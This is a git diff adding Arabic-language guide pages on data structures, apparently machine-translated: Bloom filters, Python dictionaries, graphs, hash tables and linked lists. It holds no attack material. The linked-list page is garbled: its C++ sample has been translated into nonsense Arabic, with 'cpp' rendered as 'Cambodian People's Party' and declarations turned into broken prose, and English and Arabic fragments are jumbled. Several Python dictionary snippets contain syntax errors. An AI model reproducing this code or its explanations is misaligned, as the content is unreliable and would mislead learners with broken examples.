+يتم تحديث مؤشرات التصفية باستخدام تلك القيم المجزأة. يشير الرقم `1` إلى إضافة عنصر في هذا الفهرس.
+
+`[1,0,0,0,1,0,0,0,1,0]`
+
+يضيف المستخدم روزي إلى قائمة الأصدقاء. ترجع الدالات التجزئة `3` و `4` و `6` لـ `'Rosie'` . يتم تحديث مؤشرات التصفية باستخدام القيم المجزأة.
+
+`[1,0,0,1,1,0,1,0,1,0]`
+
+يوجد فحص إذا كان Chuck عضوًا في قائمة الأصدقاء. يتم وضع السلسلة `'Chuck'` عبر وظائف التجزئة التي ترجع إلى `1` و `3` و `6` . عندما يتم تحديد مصفوفة المرشح في تلك المؤشرات ، فإنها تُرجع `0` و `1` و `1` . نظرًا لأن أحد الفهارس لديه قيمة `0` ، فإن Chuck ليس عضوًا _بالتأكيد_ في القائمة.
+
+يوجد شيك إذا كانت Maja عضوًا في قائمة الأصدقاء. يتم وضع السلسلة `'Maja'` عبر وظائف التجزئة ، والعائد `0` و `6` و `8` . عند تحديد مصفوفة المرشح في تلك المؤشرات ، فإنها تُرجع `1` و `1` و `1` . نظرًا لأن جميع المؤشرات الثلاثة لها قيمة `1` ، _فقد_ تكون Maja بالفعل عضوًا في القائمة. هذه نتيجة إيجابية خاطئة.
+
+## الاعتبارات
+
+تسمح عوامل تصفية Bloom بالبحث السريع لتحديد ما إذا كانت القيمة قد _تكون_ عضوًا في المجموعة أو _بالتأكيد_ ليست عضوًا في المجموعة. كلما زاد عدد العناصر المضافة إلى مرشح بلوم ، فإن معدل النتائج الإيجابية الكاذبة عند التحقق مما إذا كان العنصر عضوًا في المجموعة سيزداد. طريقة واحدة لتقليل معدل النتائج الإيجابية الكاذبة هي زيادة حجم الصفيف. على الرغم من أن هذا هو حل وسط لأن أكبر مجموعة ، فإن أكبر ذاكرة سيشغلها. من الضروري تحديد معدل مقبول للنتائج الإيجابية الكاذبة لحجم صفيف معين.
+
+## قراءة متعمقة
+
+[متوسطة خوارزمية توصية بوست](https://blog.medium.com/what-are-bloom-filters-1ec2a50c68ff)
+
+[ويكيبيديا على مرشحات بلوم](https://en.wikipedia.org/wiki/Bloom_filter)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/dictionaries/index.md b/client/src/guide/arabic/computer-science/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..fd89cec060
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/dictionaries/index.md
@@ -0,0 +1,205 @@
+---
+title: Dictionaries
+localeTitle: قواميس
+---
+## قواميس
+
+لنفترض أن لدينا قائمة متجانسة. نريد احتساب عدد المرات التي يحدث فيها كل عنصر في القائمة. كيف يمكننا القيام بذلك ، دون استخدام أساليب بايثون المدمجة مثل العد أو العداد من وحدة بايثون؟ بحث في Google عن "كيفية حساب تواجدات عنصر ما في قائمة؟" ستقوم بإرجاع إجابات Stack Overflow التي توجهك إلى طريقة الفرز ووحدة المجموعات ، ولكن لأغراض التعلم ، دعنا نحاول حل المشكلة بدون استخدام هذه الأدوات.
+
+إليك القائمة التي سنعمل معها:
+
+ `ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+` 
+
+يعطي هذا الرمز ، الذي يستخدم متداخلاً لحلقات ، الإجابة الصحيحة ، وتخزين الإجابة في قائمة "العد":
+
+ `count = [] 
+ for flavor in ice_cream: 
+  found = False 
+  for entry in count: 
+    if entry[0] == flavor: 
+      entry[1] += 1 
+      found = True 
+  if not found: 
+      count.append([flavor, 1]) 
+ 
+ # Print. 
+ for (entry, total) in count: 
+  print (entry, total) 
+` 
+
+على الرغم من أن هذا الرمز يعطي الإجابة الصحيحة ، إلا أنه يوجد شيئان خاطئان به. أولاً ، إنها معقدة. كلما زاد عدد الحلقات المتداخلة التي يحتوي عليها البرنامج ، كلما كان من الصعب فهمها وإصلاحها وتوسيعها. علاوة على ذلك ، فهو غير فعال. قد لا يكون هذا مشكلة في هذا المثال الصغير ، ولكن تخيل قائمة تحتوي على آلاف أو ملايين العناصر. إن مسح قائمة الإدخالات في كل مرة نقوم فيها بملاحظة تستغرق وقتًا طويلاً للغاية ، بغض النظر عن سرعة الكمبيوتر. هذا موضوع تم تناوله بشكل كامل عند دراسة موضوعات مثل التدوين الكبير O ومقارنة خوارزميات البحث والفرز.
+
+والإجابة الأفضل هي استخدام بنية بيانات أخرى تُعرف باسم **قاموس** أو **خريطة** . هيكل البيانات هذا عبارة عن مجموعة _غير قابلة للتجزئة ومتكررة_ من أزواج _المفاتيح / القيمة_ . فكر في قاموس مثل دليل الهاتف ، حيث يكون المفتاح هو اسم الشخص ، والقيمة هي رقم الهاتف. تشكل المفاتيح في القاموس مجموعة ، مما يعني أنها يمكن أن تظهر مرة واحدة فقط ، ولا يمكن تغييرها (فهي غير قابلة للتغيير) ، على الرغم من أنه يمكن تغيير القيم المرتبطة بالمفتاح.
+
+يتم إنشاء القواميس عن طريق وضع أزواج المفاتيح / القيم داخل الأقواس. للحصول على القيمة المرتبطة بمفتاح ، تضع المفتاح بين أقواس مربعة.
+
+فيما يلي بعض أمثلة التعليمات البرمجية:
+
+ `ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream) 
+ >> {'chocolate' : 3, 'strawberry' : 1} 
+ print (ice_cream['strawberry']) 
+ >> 1 
+` 
+
+لاختبار ما إذا كان المفتاح موجودًا في أحد القواميس ، استخدم k في d:
+
+ `ice_cream = {'chocolate' : 3, 'strawberry' : 1} 
+ if 'chocolate' in ice_cream: 
+    print ('chocolate is in the list') 
+ ... 
+ 
+ del ice_cream['chocolate'] 
+ if 'chocolate' in ice_cream: 
+    print ('oops: why is chocolate still there?') 
+` 
+
+**تحديث والعضوية** لتحديث القواميس ، ما عليك سوى تعيين قيمة للمفتاح. إذا كان المفتاح موجودًا بالفعل في القاموس ، فسيؤدي ذلك إلى تغيير القيمة المرتبطة به.
+
+إذا لم يكن المفتاح موجودًا ، فيتم إضافته بالإضافة إلى القيمة:
+
+ `ice_cream = {} 
+ ice_cream['chocolate'] = 33 
+ ice_cream['vanilla'] = 999 # oops 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 999} 
+ ice_cream['vanilla'] = 9 
+ print (ice_cream) 
+ >> {'chocolate' : 33, vanilla' : 9} 
+` 
+
+استخدم _del d \[k\]_ ، لإزالة إدخال من قاموس ، حيث _d_ هو اسم القاموس و _k_ هو المفتاح الذي يتم إزالته. يمكن إزالة الإدخالات الموجودة فقط؛ محاولة إزالة واحدة غير موجودة يسبب خطأ:
+
+ `ice_cream = {'chocolate' : 33, vanilla' : 9} 
+ del ice_cream['chocolate'] 
+ print (ice_cream) 
+ >> {'vanilla' : 9} 
+ del ice_cream['strawberry'] 
+ >> Traceback (most recent call last): 
+   File "<stdin>", line 5, in <module> 
+   KeyError: 'strawberry' 
+` 
+
+**الحلقات** بما أن القواميس عبارة عن مجموعات (جنباً إلى جنب مع القوائم ، والصفوف ، والمجموعات) ، فإننا سنرغب في تكرار حلقاتها محتويات. نقوم بذلك من خلال حلقة for ، والتي تقوم بتعيين كل من المفاتيح في القاموس إلى متغير الحلقة بدوره:
+
+ `ice_cream = {'chocolate' : 183, 
+             'vanilla' : 71, 
+             'strawberry' : 63, 
+             'banana', 1} 
+ for flavor in ice_cream: 
+  print (flavor, ice_cream[flavor]) 
+ 
+ >> 'banana' 1 
+   'vanilla' 71 
+   'chocolate' 183 
+   'strawberry' 63 
+` 
+
+كما هو الحال مع العناصر المحددة ، تقوم بايثون بتكرار أكثر من الإدخالات في القاموس بترتيب عشوائي. ليس هناك ما يضمن أن ينظر إليها أبجديا أو بالترتيب ، تم إضافتها إلى القاموس. لاحظ ، بالمناسبة ، أن التكرار فوق القواميس يختلف قليلاً عن التكرار على القوائم. عندما تقوم بايثون بتكرار أكثر من قائمة ، يتم تعيين القيم في القائمة للمتغير المتكرر. عندما تقوم الحلقات عبر قاموس ، من ناحية أخرى ، فإنه يعيّن المفاتيح. اختار مصممو بيثون القيام بذلك بسبب:
+
+*   حلقات على قوائم من القائمة ليست مثيرة للاهتمام ، لأن سيحصل البرنامج دائمًا على التسلسل 0 ، 1 ، 2 ، ... ؛ و
+*   من السهل جدًا الانتقال من مفتاح القاموس إلى القيمة المرتبطة من أن تأخذ القيمة والعثور على المفتاح المرتبط.
+
+**طرق القاموس** القواميس هي كائنات ، تمامًا مثل القوائم ، الصفوف والمجموعات. بعض طرق القاموس الشائعة هي:
+
+*   _d.clear ()_ - مسح القاموس
+*   _d.get (x، 99)_ - لعرض القيمة المرتبطة بمفتاح ، أو قيمة افتراضية في حالة عدم وجود المفتاح.
+*   _d.keys ()_ - مفاتيح العودة
+*   _d.items ()_ - قائمة العودة لأزواج المفاتيح ، القيمة
+*   _d.values ​​()_ - قيم الإرجاع كقائمة ، قد لا تكون القيم فريدة
+*   _d.update ()_ - تحديث القاموس مع محتويات آخر
+
+أحد الاستخدامات الشائعة للعناصر هو إجراء حلقة فوق المفاتيح والقيم في القاموس معًا: لـ (key، value) في dictionary.items (): ... تفعل شيئا مع المفتاح والقيمة ...
+
+هذا غير فعال للقواميس الكبيرة لأن العناصر () في الواقع يبني قائمة من أزواج (مفتاح ، قيمة). وهناك طريقة مشابهة تدعى _iteritems () تقوم_ بتسليم هذه الأزواج مرة واحدة تلو الأخرى عند الطلب: لـ (key، value) في dictionary.iteritems (): ... تفعل شيئا مع المفتاح والقيمة ...
+
+لنعد إلى المثال الأصلي - كيف نحسب عدد العناصر في قائمة ice\_cream باستخدام القاموس؟
+
+ `# Count all the flavors. 
+ ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ count = {} 
+ for flavor in ice_cream: 
+  if flavor in count: 
+    count[flavor] = count[flavor] + 1 
+  else: 
+    count[flavor] = 1 
+ 
+ # Print. 
+ for b in count: 
+  print (b, count[b]) 
+` 
+
+للقيام بذلك ، نقوم بإنشاء قاموس فارغ في البداية. في كل مرة يتم فيها التكرار عبر قائمة ice\_cream ، نتحقق من ذلك لمعرفة ما إذا كانت النكهة موجودة بالفعل في قاموس العدد. إذا كان كذلك ، نضيف واحدة إلى حسابها. إذا لم يكن الأمر كذلك ، فسنضيف الاسم إلى القاموس ذي القيمة 1.
+
+يمكننا اختصار هذا البرنامج قليلا باستخدام الطريقة _dict.get ()_ . هذا يعيد إما القيمة المرتبطة بمفتاح أو بعض القيمة الافتراضية التي نقدمها. في هذه الحالة ، نحصل إما على عدد المرات التي رأينا فيها بالفعل نكهة أو صفر ، أضف واحدًا إلى أي قيمة ترجعها الطريقة ، وتخزينها مرة أخرى في القاموس:
+
+ `# Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Print. 
+ keys = count.keys() 
+ keys.sort() 
+ for b in keys: 
+  print (b, count[b]) 
+ 
+ # Print. 
+ for key in sorted(count): 
+  print (key, count[key]) 
+` 
+
+لاحظ أننا نستخدم طريقتين منفصلتين لطباعة المفتاح والقيمة: يستخدم أحدهما طريقة التصنيف في Python ، والآخر لا يفعل ذلك.
+
+إذا أردنا طباعة النكهات بالترتيب ، نحتاج إلى **عكس القاموس** . هذا يعني أننا بحاجة إلى استخدام القيم كمفاتيح ، والمفاتيح كقيم. نظرًا لعدم وجود ضمان بأن القيم فريدة ، نحتاج إلى اتخاذ خطوات لتجنب _التصادمات_ .
+
+الحل هو استخدام نوع من التجميع ، مثل قائمة ، لتخزين قيم القاموس المقلوب. إذا انتقلنا إلى هذا المسار ، فسيكون معكوس القاموس المعروض سابقًا {1: \['a'، 'b'، 'c'\]}. إليك برنامج لفعل ما نريد:
+
+ `ice_cream = ["strawberry", 
+             "vanilla", 
+             "vanilla", 
+             "chocolate", 
+             "chocolate", 
+             "chocolate", 
+             "banana", 
+             "rum raisin", 
+             "banana"] 
+ 
+ # Count all the flavors. 
+ count = {} 
+ for flavor in ice_cream: 
+  count[flavor] = count.get(flavor, 0) + 1 
+ 
+ # Invert the dictionary. 
+ freq = {} 
+ for (flavor, times) in count.items(): 
+  if times in freq: 
+    freq[times].append(flavor) 
+  else: 
+    freq[times] = [flavor] 
+ 
+ # Print. 
+ for key in freq: 
+  for flavor in sorted(freq[key]): 
+    print (key,":", " ", flavor) 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/graphs/index.md b/client/src/guide/arabic/computer-science/data-structures/graphs/index.md
new file mode 100644
index 0000000000..17ed9c36fe
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/graphs/index.md
@@ -0,0 +1,47 @@
+---
+title: Graphs
+localeTitle: الرسوم البيانية
+---
+## الرسوم البيانية
+
+الرسم البياني هو بنية بيانات يمكنك استخدامها لحل مشكلات التوجيه ، مثل "هل هذان المكونان متصلين؟" و "ما هو أقصر مسار من النقطة أ إلى ب؟"
+
+يتكون الرسم البياني من العقد والحواف. العقدة (أي قمة الرأس) هي كائن في الرسم البياني الخاص بك. يمكن أن تحتوي العقدة على معلومات مثل اسم العقدة والحواف المرتبطة بها. الحافة هي وصلة تربط بين نقطتين. يمكن أن تحتوي الحافة على معلومات مثل وزن الحافة. إذا تم توصيل عقدتين عن طريق حافة ، فهما جاران (أي مجاوران).
+
+اعتمادًا على المشكلة ، يمكنك استخدام حواف ثنائية الاتجاه (غير موجهة) أو أحادية الاتجاه (موجّهة). إذا كان لديك حافة غير موجهة من a إلى b ، فهناك أيضًا طريقة من b إلى a. إذا كان لديك حافة موجهة من a إلى b ، فلا توجد بالضرورة حافة من b إلى a.
+
+يمكنك استخدام الرسوم البيانية لصياغة مواقف مثل:
+
+*   الخرائط الجغرافية
+*   كل مدينة في بلدك هي عقدة
+*   إذا كانت مدينتان متصلتان بواسطة طريق ، فهناك حافة بينهما \* يمكن للطرق أن تكون واحدة أو ثنائية الاتجاه (كل من الحواف الموجّهة وغير الموجهة) \* الوزن يمكن أن يكون طول الطريق
+*   تدفق الماء
+    *   كل بوابة من الفيضانات هي عقدة
+    *   كل قناة هي حافة
+        *   سوف يتدفق الماء فقط في اتجاه واحد حتى يتم توجيه الحواف
+        *   يمكن أن يكون الوزن أقصى سعة مائية للتدفق
+
+مثال: رسم بياني يحتوي على عُقد في بلدان الشمال الأوروبي ، وباعتباره (غير موجه) يحرك مسافة القيادة إلى المدن المتصلة بالطريق المباشر.
+
+ `.     +---------+ 
+ .     |Reykjavik| 
+ .     +---------+ 
+ . 
+ . 
+ .         529 km   +---------+  1760 km  +--------+ 
+ .    +------------+|Stockholm|+---------+|Helsinki| 
+ .    |             +---------+           +--------+ 
+ .    +                                        + 
+ . +----+                    1991 km           | 
+ . |Oslo|+-------------------------------------+ 
+ . +----+ 
+ .         +----------+ 
+ .         |Copenhagen| 
+ .         +----------+ 
+` 
+
+#### معلومات اكثر:
+
+[نطاق البحث الأول (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[عمق البحث الأول (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/hash-tables/index.md b/client/src/guide/arabic/computer-science/data-structures/hash-tables/index.md
new file mode 100644
index 0000000000..5e8b3ae1f4
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/hash-tables/index.md
@@ -0,0 +1,127 @@
+---
+title: Hash Tables
+localeTitle: جداول تجزئة
+---
+## جداول تجزئة
+
+جدول التجزئة (أو خريطة التجزئة) عبارة عن بنية بيانات يمكنها تعيين مفاتيح للقيم. يستخدم جدول التجزئة جدول دالة لحساب فهرس إلى مجموعة من الدلاء ، التي يمكن العثور على القيم المطلوبة. يمكن أن يكون تعقيد وقت وظيفة هاش محددة بوضوح O (1).
+
+جدول التجزئة (مخطط التجزئة) هو هيكل بيانات يقوم بتنفيذ نوع بيانات تجريدى لمجموعة صفية ، وهي بنية يمكنها تعيين مفاتيح للقيم. يستخدم جدول هاش وظيفة دالة لحساب فهرس في مجموعة من الدلاء أو الفتحات ، والتي يمكن العثور على القيمة المطلوبة منها.
+
+![مثال لجدول هاش](https://github.com/TomerPacific/fccGuideImages/blob/master/315px-Hash_table_3_1_1_0_1_0_0_SP.svg.png?raw=true)
+
+بعض الخصائص الهامة لجدول Hash - 1) لا يتم تخزين القيم بترتيب مفروض. 2) في جدول تجزئة ، يجب على المرء أيضا التعامل مع التصادم المحتملة. ويتم ذلك غالبًا عن طريق الربط ، وهو ما يعني إنشاء قائمة مرتبطة بجميع القيم التي يتم تعيين مفاتيحها إلى فهرس معين.
+
+تنفيذ جدول التجزئة
+
+يتم تطبيق جدول تجزئة تقليديًا مع مجموعة من القوائم المرتبطة. عندما نريد إدراج زوج مفتاح / قيمة ، نقوم بتعيين المفتاح إلى فهرس في الصفيف باستخدام وظيفة التجزئة. ثم يتم إدخال القيمة في القائمة المرتبطة في هذا الموضع.
+
+تتمثل فكرة التجزئة في توزيع المدخلات (أزواج المفاتيح / القيم) عبر مجموعة من المجموعات. عند الحصول على مفتاح ، تقوم الخوارزمية بحساب فهرس يشير إلى المكان الذي يمكن العثور فيه على الإدخال:
+
+ `index = f(key, array_size) 
+` 
+
+يتم ذلك غالبًا في خطوتين:
+
+ `hash = hashfunc(key) 
+ index = hash % array_size 
+` 
+
+في هذه الطريقة ، يكون التجزئة مستقلاً عن حجم الصفيف ، ثم يتم تخفيضه إلى فهرس (رقم بين 0 و array\_size - 1) باستخدام مشغل modulo (٪).
+
+دعنا نفكر في السلسلة S. أنت مطالب بحساب معدل تكرار جميع الأحرف في هذه السلسلة.
+
+ `string S = “ababcd” 
+` 
+
+إن أبسط طريقة للقيام بذلك هي التكرار على جميع الأحرف الممكنة وحساب ترددها واحدة تلو الأخرى. وقت تعقيد هذا الأسلوب هو O (26 \* N) حيث N هو حجم السلسلة ويوجد 26 حرفًا محتملًا.
+
+ `void countFre(string S) 
+    { 
+        for(char c = 'a';c <= 'z';++c) 
+        { 
+            int frequency = 0; 
+            for(int i = 0;i < S.length();++i) 
+                if(S[i] == c) 
+                    frequency++; 
+            cout << c << ' ' << frequency << endl; 
+        } 
+    } 
+` 
+
+انتاج |
+
+ `a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+` 
+
+دعونا نطبق التجزئة على هذه المشكلة. خذ تردد صفيف من حجم 26 و تجزئة الأحرف 26 مع مؤشرات الصفيف باستخدام دالة التجزئة. ثم ، التكرار فوق السلسلة وزيادة القيمة في التردد في الفهرس المقابل لكل حرف. تعقيد هذا الأسلوب هو O (N) حيث N هو حجم السلسلة.
+
+ `int Frequency[26]; 
+ 
+    int hashFunc(char c) 
+    { 
+        return (c - 'a'); 
+    } 
+ 
+    void countFre(string S) 
+    { 
+        for(int i = 0;i < S.length();++i) 
+        { 
+            int index = hashFunc(S[i]); 
+            Frequency[index]++; 
+        } 
+        for(int i = 0;i < 26;++i) 
+            cout << (char)(i+'a') << ' ' << Frequency[i] << endl; 
+    } 
+` 
+
+انتاج |
+
+ `a 2 
+ b 2 
+ c 1 
+ d 1 
+ e 0 
+ f 0 
+ … 
+ z 0 
+` 
+
+### تصادم تجزئة
+
+عندما تستخدم خريطة تجزئة ، عليك أن تفترض أن تصادمات التجزئة لا يمكن تجنبها ، لأنك ستستخدم خريطة تجزئة أصغر حجماً بكثير من حجم البيانات المتوفرة لديك. النهجان الرئيسيان لحل هذه الاصطدامات هما Chaining و Open Addressing.
+
+#### تسلسل
+
+إحدى الطرق التي يمكنك بها حل تصادمات التجزئة هي استخدام التسلسل. ما يعنيه هذا بالنسبة لكل تعيين قيمة مفتاح في جدول التجزئة ، لن يحتفظ حقل القيمة بخلية بيانات واحدة فقط ، بل قائمة بيانات مرتبطة. في المثال الموضح في الصورة أدناه ، يمكنك رؤية أن Sandra Dee تمت إضافته كعنصر آخر للمفتاح 152 بعد John Smith.
+
+![مثال على تسلسل في جدول تجزئة](https://github.com/TomerPacific/fccGuideImages/blob/master/620px-Hash_table_5_0_1_1_1_1_0_LL.svg.png?raw=true)
+
+النكسة الرئيسية فيما يتعلق تسلسل هو زيادة في تعقيد الوقت. وهذا يعني أنه بدلاً من خصائص O (1) لجدول التجزئة العادي ، فإن كل إجراء سيستغرق الآن وقتًا أطول لأننا نحتاج إلى اجتياز القائمة المرتبطة.
+
+#### فتح العنونة
+
+هناك طريقة أخرى يمكنك من خلالها حل تصادمات التجزئة باستخدام العنونة المفتوحة. في هذه الطريقة بمجرد تعيين قيمة إلى مفتاح مشغول بالفعل ، تنتقل على طول المفاتيح المجاورة لجدول التجزئة بطريقة محددة مسبقًا ، حتى تجد مفتاحًا ذا قيمة فارغة. في المثال الموضح في الصورة أدناه ، يتم تعيين Sandra Dee على المفتاح 153 ، على الرغم من أنه من المفترض أن يتم تعيين قيمته إلى 152.
+
+![مثال على عنونة مفتوحة في جدول تجزئة](https://github.com/TomerPacific/fccGuideImages/blob/master/380px-Hash_table_5_0_1_1_1_1_0_SP.svg.png?raw=true)
+
+تكمن النكسة الرئيسية للعنونة المفتوحة في حقيقة أنه عندما تكون هناك حاجة للبحث عن قيم ، فقد لا تكون في المكان الذي تتوقع أن يكون عليه (رسم المفاتيح). لذلك عليك اجتياز أجزاء من جدول التجزئة للعثور على القيمة التي تبحث عنها ، مما يؤدي إلى زيادة تعقيد الوقت.
+
+#### تعقيد الوقت
+
+من المهم جداً ملاحظة أن جداول التجزئة قد استهلكت التعقيد المستمر ، أي في حالة متوسطة سيكون التعقيد O (1). في أسوأ الحالات ، إذا تم تجزئ الكثير من العناصر إلى نفس المفتاح ، يمكن أن يكون هناك تعقيد زمني لـ O (n).
+
+### معلومات اكثر:
+
+[مزيد من المعلومات عن الجداول تجزئة - الويكي](https://en.wikipedia.org/wiki/Hash_table) [مقارنة بين Hash Table و STL-map](http://www.geeksforgeeks.org/hash-table-vs-stl-map/)
+
+#### مصدر
+
+[أساسيات الجداول تجزئة - هاكر](https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/index.md b/client/src/guide/arabic/computer-science/data-structures/index.md
new file mode 100644
index 0000000000..9e8ae4b4e1
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/index.md
@@ -0,0 +1,20 @@
+---
+title: Data Structures
+localeTitle: هياكل البيانات
+---
+## هياكل البيانات
+
+بنية البيانات هي طريقة لجمع البيانات وتنظيمها بطريقة تمكننا من إجراء عمليات على هذه البيانات بطريقة فعالة. هياكل البيانات تدور حول تقديم عناصر البيانات من حيث العلاقة ، من أجل تنظيم وتخزين أفضل. على سبيل المثال ، لدينا اسم مشغل البيانات "Virat" والعمر 26. هنا "Virat" من نوع بيانات String و 26 من نوع بيانات عدد صحيح.
+
+يمكننا تنظيم هذه البيانات كسجل مثل سجل المشغل. الآن يمكننا جمع وتخزين سجلات اللاعب في ملف أو قاعدة بيانات كهيكل بيانات. على سبيل المثال: "Dhoni" 30 ، "Gambhir" 31 ، "Sehwag" 33
+
+في لغة بسيطة ، هياكل البيانات هي هياكل مبرمجة لتخزين البيانات المطلوبة ، بحيث يمكن إجراء عمليات مختلفة عليها بسهولة. وهو يمثل معرفة البيانات التي سيتم تنظيمها في الذاكرة. يجب أن يتم تصميمها وتنفيذها بطريقة تقلل من التعقيد وتزيد من الفاعلية.
+
+في ذاكرة الكمبيوتر ، أي ذاكرة الوصول العشوائي ، يتم إنشاء هياكل بيانات مختلفة مثل مكدس ، قائمة انتظار ، linklist ، أكوام ، إلخ وفقا لمتطلبات البرنامج بحيث تستخدم الذاكرة بكفاءة.
+
+#### معلومات اكثر:
+
+*   [هياكل البيانات](http://www.studytonight.com/data-structures/introduction-to-data-structures)
+*   [المهوس لالمهوس](http://www.geeksforgeeks.org/data-structures/)
+*   [نقطة دروس](https://www.tutorialspoint.com/data_structures_algorithms/data_structure_overview.htm)
+*   [هياكل البيانات](http://www.studytonight.com/data-structures/introduction-to-data-structures)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/linked-lists/index.md b/client/src/guide/arabic/computer-science/data-structures/linked-lists/index.md
new file mode 100644
index 0000000000..f0aaee24b0
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/linked-lists/index.md
@@ -0,0 +1,343 @@
+---
+title: Linked Lists
+localeTitle: القوائم المرتبطة
+---
+## القوائم المرتبطة
+
+#### القائمة المرتبطة هي بنية بيانات _الوصول الخطي_ البسيط.
+
+القائمة المرتبطة هي بنية بيانات بسيطة ، ولكن يمكن استخدامها لتنفيذ هياكل بيانات أكثر تعقيدًا مثل قوائم الانتظار ، الأكوام ، إلخ. هناك ثلاثة أنواع من القوائم المرتبطة:
+
+1.  قائمة مرتبطة بسيطة
+2.  قائمة مرتبطة مزدوجة (أو قائمة مرتبطة مزدوجة المنتهية)
+3.  قوائم مرتبطة دائرية (Ring Buffer)
+
+قائمة مرتبطة | (المقدمة) مثل المصفوفات ، القائمة المرتبطة هي بنية بيانات خطية. بخلاف المصفوفات ، لا يتم تخزين عناصر القوائم المرتبطة في مكان مجاور ؛ ترتبط العناصر باستخدام مؤشرات أو ما شابه في المثال باستخدام Javascript ، وهو مرجع إلى العقدة التالية.
+
+إذا كنت تريد فهم "القوائم المرتبطة" ، فإنه يساعد على فهم **الصفائف** .
+
+للتلخيص ، فإن المصفوفة هي تقليديًا بنية بيانات **خطية** **ثابتة** تدعم الوصول العشوائي الثابت للوقت. لا تكون دائمًا عمليات الإدراج والحذف وقتًا ثابتًا.
+
+مزايا أكثر من المصفوفات 1) حجم ديناميكي 2) سهولة الإدراج / الحذف
+
+\`\` \` ثابت = حجم ثابت في وقت الإنشاء خطي = مخزن خطيًا في الذاكرة ككتلة واحدة
+
+ `#### Arrays have the following disadvantages:- 
+ 1. Arrays are static structures and therefore cannot be easily extended or reduced to fit the data set. 
+ 2. Arrays are also expensive to maintain new insertions and deletions. 
+ 
+ Linked Lists address some of the limitations of arrays. Unlike an array, where all the elements are stored in a contiguous block of memory, in a linked list each element is a separate object and has a **link** to the next element in sequence. This allows a linked list to start with space for only one element, and grow to accomodate an arbitrary number of elements by allocating memory as and when needed. 
+ 
+ Deleting elements is also simply handled by manipulating links. 
+ 
+ Once you understand the Simple Linked List (which from here on will be referred as **'List'**), you can move on to the Doubly Linked List. 
+ 
+ A List as illustrated below is made up of the following components:- 
+` 
+
+ `     head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 |   φ  | 
+    +---+---+     +---+---+       +----+------+ 
+                                          | 
+                                          | 
+                                          tail 
+` 
+
+ `| Node      | Significance     | 
+ | ----------|-------------| 
+ | HEAD      | Beginning of the List| 
+ | Node(s)   | Dynamically allocated self-referential block contain 1 Data element and a link to the next node | 
+ | TAIL      | End of the List | 
+ 
+ Most common operations available on List are, 
+ 1. AddFirst - Inserts an element at the front of the List. 
+ 2. AddLast - Inserts an element at the tail of the List. 
+ 3. InsertAfter - Inserts an element after an existing element in the List. 
+ 4. InsertBefore - Inserts an element before an existing element in the List. 
+ 5. Remove - Remove an existing element from the List. 
+ 6. Access / Peek - Access an existing element from the List. 
+ 7. Size / Count - Returns the number of elements currently present in the List. 
+ 8. IsEmpty - Check whether the List is empty or not. 
+ 
+ #### Implementation of a Simple Linked List in C++ 
+` 
+
+حزب الشعب الكمبودي
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+رقم البنية { عدد الأسطوانات رقم البنية \* الذيل }؛
+
+بنية typedef عدد N؛
+
+قائمة الطبقة { نشر: N _الرأس ،_ النهاية ؛ عدد الباحثين
+
+ `public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+` 
+
+}؛
+
+قائمة :: قائمة () { رئيس = NULL؛ إنهاء = NULL؛ عد = 0؛ }
+
+void list :: insertBefore (int int) { عقدة N \* node = new N؛ node-> الأسطوانات = البيانات؛ node-> ذيل = NULL؛
+
+ `    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+` 
+
+}
+
+قائمة الفراغ :: عرض () { cout << "عدد العقد في القائمة =" << count << endl؛ عقدة N \* العقدة = الرأس. بينما (عقدة) {
+
+ `    cout<<node->num<<endl; 
+    node=node->tail; 
+ 
+ } 
+` 
+
+} انت مين() { قائمة l1 ؛
+
+ `l1.insertBefore(10); 
+ l1.insertBefore(20); 
+ l1.insertBefore(30); 
+ l1.insertBefore(40); 
+ l1.insertBefore(50); 
+ l1.display(); 
+ 
+ return 0; 
+` 
+
+}
+
+ `#### OUTPUT 
+` 
+
+عدد العقد في القائمة = 5 50 40 30 20 10
+
+ `#### Explanation 
+` 
+
+حزب الشعب الكمبودي
+
+رقم البنية { عدد الأسطوانات رقم البنية \* الذيل
+
+}؛
+
+ ``Declaration of a structure(node) with 2 data members 
+ * `num` holds the integer data value 
+ * `*tail` pointer points to the next node in the List 
+`` 
+
+حزب الشعب الكمبودي قائمة الطبقة { نشر: N _الرأس ،_ النهاية ؛ عدد الباحثين
+
+ `public: 
+    void display(); 
+    void insertBefore(int); 
+    List(); 
+` 
+
+}؛
+
+ ``The List class declares the Linked List. 
+ * `*head` points to the first node in the List 
+ * `*end` points to the last node in the List 
+ * `count` holds the value for number of nodes in the list 
